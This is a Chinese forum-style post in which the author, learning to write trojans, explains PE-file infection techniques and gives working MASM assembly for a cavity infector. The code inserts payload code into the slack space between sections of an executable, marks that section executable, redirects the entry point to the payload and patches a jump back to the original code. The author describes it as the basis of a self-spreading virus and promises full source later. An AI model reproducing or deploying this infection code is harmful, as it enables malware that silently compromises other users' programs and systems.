最近一直在分析木马,学到了许多东西,就想自己也试着写一个,由于第一次写这方面的东西,有些知识点还没吃透,写得有点简单,请见谅。
首先把罗云彬的《Windows环境下32位汇编语言程序设计》第17章的AddCode的代码翻出来了。这个程序是往一个PE文件中附加一节(section),

在节中加入附加代码,并把入口地址改成新加的代码的第一条指令的地址,当附加代码运行完后再跳转到原来的代码运行。
之前看第一遍的时候基本就是囫囵吞枣的看完的,有很多地方不求甚解,这次决心把它彻底搞清楚。一共是四个文件:
Main.asm 界面主程序
_ProcessPeFile.asm 处理文件的程序
_AddCode.asm 要附加的代码
_GetKernel.asm 由于附加代码没有导入表,所以一切API函数都要自己获取。

看Main.asm还比较容易,无非就了WINDOWS对话框程序,消息处理函数中处理点击菜单项,调用windowsAPI显示打开文件对话框。接下来就是处理选择的文件了,程序在_ProcessPeFile.asm中。一开始先复制一个PE文件的复本,在这个复本上进行修改。再往下看,就费劲了。虽然有些注释,但还是费劲,一条注释下面N条语句。知道是注释的这个功能,可是还是不容易看懂。想个办法,把《加密与解密》翻开看着PE文件的结构和字段意义,把每一条语句都注释出来。终于看明白了。
要一个PE文件里加入一节的信息,并把代码写进去,需要修改以下几个地方


1) IMAGE_NT_HEADERS.FileHeader.NumberOfSections += 1; 这里记录了文件中SECTION的数量
2) IMAGE_NT_HEADERS.OptionalHeader.SizeOfCode += 附加代码长度
3) IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage += 附加代码长度
4) 然后在原文件最后一个节表的后面增加一个节表,新节表的各个字段需做

如下设置
a) SizeOfRawData = 依IMAGE_NT_HEADERS.OptionalHeader.FileAlignment对齐后的 附加代码长度
b) VirtualAddress = 依IMAGE_NT_HEADERS.OptionalHeader.SectionAlignment对齐后的的 附加代码段长度
c) Misc.VirtualSize = 附加代码段的长度
d) Characteristics = IMAGE_SCN_CNT_CODE or IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
e) PointerToRawData = 原最后一节的 PointerToRawData + 原最后一节的 SizeOfRawData
5) IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint = 新节的VirtualAddress + 附加代码中第一条指令的偏移量
6) 修改附加代码最后的跳转地址为原入口地址这样加入一节可能会有问题,如果最后一个节表到数据区的的间隔不足以再

放下一个节表(40个字节)的话,这种方法会破坏第一节的数据区。索性的是绝大多数的EXE文件这里的空隙都大于40个字节。这样的做法还有一个特点就是会改变文件大小。
搞清楚了这个程序的原理,我就想,其实两个相临的节数据之间还是有空隙的,何不用这个空隙来写入附加代码呢?这样1)~4)数据都不用修改,只要再改变一下插入数据那一节的节中 Misc.VirtualSize 字段即可(其实不改它也是可以的,对于反复感染会带来一些麻烦),具体代码如下(MASM版本)

代码:


  _ProcessPeFile    proc
      local    @szNewFile[MAX_PATH]:byte
      local    @hFile,@dwTemp,@dwEntry,@lpMemory
      LOCAL   @oldEntryPoint, @FileSize
      pushad

      invoke    lstrcpy,addr @szNewFile,addr szFileName
      invoke    lstrlen,addr @szNewFile
      lea    ecx,@szNewFile
      mov    byte ptr [ecx+eax-4],0
      invoke    lstrcat,addr @szNewFile,addr szExt                ;构造新文件名
      invoke    CopyFile,addr szFileName,addr @szNewFile,FALSE    ;复制一个副本

      ;打开文件
      invoke    CreateFile,addr @szNewFile,GENERIC_READ or

GENERIC_WRITE,FILE_SHARE_READ or \
         

FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,N

ULL
      .if    eax ==    INVALID_HANDLE_VALUE
          jmp    _Ret
      .endif
      mov    @hFile,eax
      invoke GetFileSize,@hFile, NULL                        ;获取文件大小
      mov @FileSize, eax
      invoke    GlobalAlloc,GMEM_ZEROINIT,@FileSize            ;申请与文件一样大的内存
      mov @lpMemory, eax
      invoke ReadFile,@hFile, @lpMemory, @FileSize, addr @dwTemp, NULL ;

将文件读入内存
      mov esi, @lpMemory
      assume esi:ptr IMAGE_DOS_HEADER
      add esi, [[esi].e_lfanew]
      assume esi:ptr IMAGE_NT_HEADERS                    ;esi指向IMAGE_NT_HEADERS
      movsx ecx, [esi].FileHeader.NumberOfSections    ;获取SECTION数目,下面

遍历所有节表用
      push [esi].OptionalHeader.AddressOfEntryPoint
      pop @oldEntryPoint                                ;保存旧的入口RVA
      mov edx, esi
      add edx, sizeof IMAGE_NT_HEADERS
      assume edx:ptr IMAGE_SECTION_HEADER                ;edx指向IMAGE_SECTION_HEADER
      ScanSection:                                        ;循环判断SizeOfRawData-VirtualSize
                                                      ;是不是大于附加代码长度
      mov eax, [edx].SizeOfRawData
      sub eax, [edx].Misc.VirtualSize
      cmp eax, offset APPEND_CODE_END - offset APPEND_CODE
      jg MoveData
      add edx, sizeof IMAGE_SECTION_HEADER
      loop  ScanSection
      jmp Free                                        ;没有符合条件的节,释放内存,关闭文件
      MoveData:
      mov ebx, [edx].PointerToRawData
      add ebx, [edx].Misc.VirtualSize ;这里是相对地址
      add ebx, @lpMemory                                       
      push esi                     ;保护esi
      lea esi, offset APPEND_CODE                                ;准备esi 寄存器, SRC
      mov    edi, ebx                                            ;准备edi, DST
      mov ecx, offset APPEND_CODE_END - offset APPEND_CODE    ;准备ecx,

存入附加代码长度
      cld
      rep movsb    ;copy附加代码到文件内存中
      pop esi        ;恢复esi的值
       sub edi, 5    ;末尾代码是push XXXXXXXX
               ;    RET
               ;所以要把XXXXXXXX修改成你想要的地址
               ;就要向前移动5个字节         
      mov eax, @oldEntryPoint    ;eax得到原入口地址的RVA
      add eax, [esi].OptionalHeader.ImageBase    ;eax加上exe文件载入基址
      mov dword ptr[edi], eax                                  ;修改附加代码后的跳转地址
      or [edx].Characteristics, 0E0000020h                ;修改该节属性为可以运行
      mov eax, [edx].VirtualAddress                         ;得到原来该节的起始RVA
      add eax, [edx].Misc.VirtualSize                        ;加上内存映射大小
      add eax, offset _NewEntry - offset APPEND_CODE        ;在跳过附加代码

开头的数据区
      mov [esi].OptionalHeader.AddressOfEntryPoint, eax    ;修改入口地址

      ;下面一句是可选的,如果不改变的话,二次感染会发生问题,附加代码出现

死循环,有兴趣的朋友可以试试
      add [edx].Misc.VirtualSize, offset APPEND_CODE_END - offset

APPEND_CODE

      ;移动文件指针到文件开头
      invoke SetFilePointer,@hFile, 0, NULL, FILE_BEGIN
      ;写数据到文件
      invoke WriteFile, @hFile, @lpMemory, @FileSize,addr @dwTemp, NULL


  Free:
      invoke    GlobalFree,@lpMemory                ;释放内存
      invoke    CloseHandle,@hFile                    ;关闭文件
      _Ret:
      assume    esi:nothing
      popad
      ret

  _ProcessPeFile    endp

木马(应该说是病毒)本身是一个可执行文件。PE感染病毒本身也是一个可执行文件,它运行以后可以把自身感染到其他可执行文件。被感染的可执行文件在运行时又可以感染其他可执行文件。

源程序暂时就不贴出来了,只是作了简单的分析,等全部写完时会把源码上传。